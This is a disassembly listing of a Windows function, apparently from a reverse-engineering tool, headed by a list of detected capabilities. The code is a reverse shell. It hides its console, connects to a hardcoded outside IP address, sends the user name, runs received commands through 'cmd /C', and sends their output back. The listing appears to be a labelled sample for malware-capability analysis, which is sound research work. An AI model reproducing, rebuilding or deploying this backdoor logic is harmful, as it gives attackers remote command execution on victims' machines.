Function at 0x1400014cb
Capabilities:
Act as tcp client
Connect socket
Connect tcp socket
Create pipe
Create process on windows
Create tcp socket
Get session user name
Initialize winsock library
Read and send data from client to server
Read file on windows
Receive data
Receive data on socket
Send data
Send data on socket

Disassembly:
push rbp
mov eax, 0x12d0
call fcn.1400029d0
sub rsp, rax
lea rbp, [rsp + 0x80]
call dbg.__main
call sym.HideConsole
lea rax, [rbp + 0x10a0]
mov rdx, rax
mov ecx, 0x202
mov rax, qword [sym.imp.WS2_32.dll_WSAStartup]
call rax
test eax, eax
je 0x140001511
mov eax, 1
jmp 0x1400018e8
mov r8d, 6
mov edx, 1
mov ecx, 2
mov rax, qword [sym.imp.WS2_32.dll_socket]
call rax
mov qword [rbp + 0x1248], rax
cmp qword [rbp + 0x1248], 0xffffffffffffffff
jne 0x14000154e
mov rax, qword [sym.imp.WS2_32.dll_WSACleanup]
call rax
mov eax, 1
jmp 0x1400018e8
lea rax, str.54.252.142.240
mov rcx, rax
mov rax, qword [sym.imp.WS2_32.dll_inet_addr]
call rax
mov dword [rbp + 0x1094], eax
mov word [rbp + 0x1090], 2
mov ecx, 0x4b31
mov rax, qword [sym.imp.WS2_32.dll_htons]
call rax
mov word [rbp + 0x1092], ax
jmp 0x140001595
mov ecx, 0x1388
mov rax, qword [sym.imp.KERNEL32.dll_Sleep]
call rax
lea rdx, [rbp + 0x1090]
mov rax, qword [rbp + 0x1248]
mov r8d, 0x10
mov rcx, rax
mov rax, qword [sym.imp.WS2_32.dll_connect]
call rax
test eax, eax
js 0x140001587
mov dword [rbp + 0x88c], 0x3ec
lea rdx, [rbp + 0x88c]
lea rax, [rbp + 0x4a0]
mov rcx, rax
mov rax, qword [sym.imp.ADVAPI32.dll_GetUserNameA]
call rax
lea rdx, [rbp + 0x4a0]
lea rax, [rbp + 0x890]
mov r9, rdx
lea r8, str.C:Users_s_
mov edx, 0x400
mov rcx, rax
call sym.snprintf
lea rax, [rbp + 0x890]
mov rcx, rax
call sym.strlen
mov ecx, eax
lea rdx, [rbp + 0x890]
mov rax, qword [rbp + 0x1248]
mov r9d, 0
mov r8d, ecx
mov rcx, rax
mov rax, qword [sym.imp.WS2_32.dll_send]
call rax
lea rax, [rbp + 0xc90]
mov r8d, 0x400
mov edx, 0
mov rcx, rax
call sym.memset
lea rdx, [rbp + 0xc90]
mov rax, qword [rbp + 0x1248]
mov r9d, 0
mov r8d, 0x400
mov rcx, rax
mov rax, qword [sym.imp.WS2_32.dll_recv]
call rax
mov dword [rbp + 0x1244], eax
cmp dword [rbp + 0x1244], 0
jg 0x1400016ab
mov rax, qword [rbp + 0x1248]
mov rcx, rax
mov rax, qword [sym.imp.WS2_32.dll_closesocket]
call rax
mov rax, qword [sym.imp.WS2_32.dll_WSACleanup]
call rax
mov eax, 0
jmp 0x1400018e8
mov dword [rbp + 0x480], 0x18
mov qword [rbp + 0x488], 0
mov dword [rbp + 0x490], 1
lea rcx, [rbp + 0x480]
lea rdx, [rbp + 0x470]
lea rax, [rbp + 0x478]
mov r9d, 0
mov r8, rcx
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_CreatePipe]
call rax
mov rax, qword [rbp + 0x478]
mov r8d, 0
mov edx, 1
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_SetHandleInformation]
call rax
lea rax, [rbp - 0x30]
mov r8d, 0x68
mov edx, 0
mov rcx, rax
call sym.memset
mov dword [rbp - 0x30], 0x68
mov eax, dword [rbp + 0xc]
or ah, 1
mov dword [rbp + 0xc], eax
mov rax, qword [rbp + 0x470]
mov qword [rbp + 0x30], rax
mov rax, qword [rbp + 0x30]
mov qword [rbp + 0x28], rax
lea rdx, [rbp + 0xc90]
lea rax, [rbp + 0x40]
mov r9, rdx
lea r8, str.cmd__C__s
mov edx, 0x400
mov rcx, rax
call sym.snprintf
lea rax, [rbp + 0x40]
lea rdx, [rbp + 0x450]
mov qword [rsp + 0x48], rdx
lea rdx, [rbp - 0x30]
mov qword [rsp + 0x40], rdx
mov qword [rsp + 0x38], 0
mov qword [rsp + 0x30], 0
mov dword [rsp + 0x28], 0x8000000
mov dword [rsp + 0x20], 1
mov r9d, 0
mov r8d, 0
mov rdx, rax
mov ecx, 0
mov rax, qword [sym.imp.KERNEL32.dll_CreateProcessA]
call rax
test eax, eax
jne 0x1400017f5
mov rax, qword [rbp + 0x470]
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_CloseHandle]
call rax
mov rax, qword [rbp + 0x478]
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_CloseHandle]
call rax
jmp 0x140001636
mov rax, qword [rbp + 0x470]
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_CloseHandle]
call rax
jmp 0x140001835
mov eax, dword [rbp + 0x44c]
mov ecx, eax
lea rdx, [rbp + 0xc90]
mov rax, qword [rbp + 0x1248]
mov r9d, 0
mov r8d, ecx
mov rcx, rax
mov rax, qword [sym.imp.WS2_32.dll_send]
call rax
mov rax, qword [rbp + 0x478]
lea rcx, [rbp + 0x44c]
lea rdx, [rbp + 0xc90]
mov qword [rsp + 0x20], 0
mov r9, rcx
mov r8d, 0x400
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_ReadFile]
call rax
test eax, eax
je 0x140001876
mov eax, dword [rbp + 0x44c]
test eax, eax
jne 0x14000180a
mov rax, qword [rbp + 0x478]
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_CloseHandle]
call rax
mov rax, qword [rbp + 0x450]
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_CloseHandle]
call rax
mov rax, qword [rbp + 0x458]
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_CloseHandle]
call rax
lea rax, [rbp + 0x890]
mov rcx, rax
call sym.strlen
mov ecx, eax
lea rdx, [rbp + 0x890]
mov rax, qword [rbp + 0x1248]
mov r9d, 0
mov r8d, ecx
mov rcx, rax
mov rax, qword [sym.imp.WS2_32.dll_send]
call rax
jmp 0x140001636
add rsp, 0x12d0
pop rbp
ret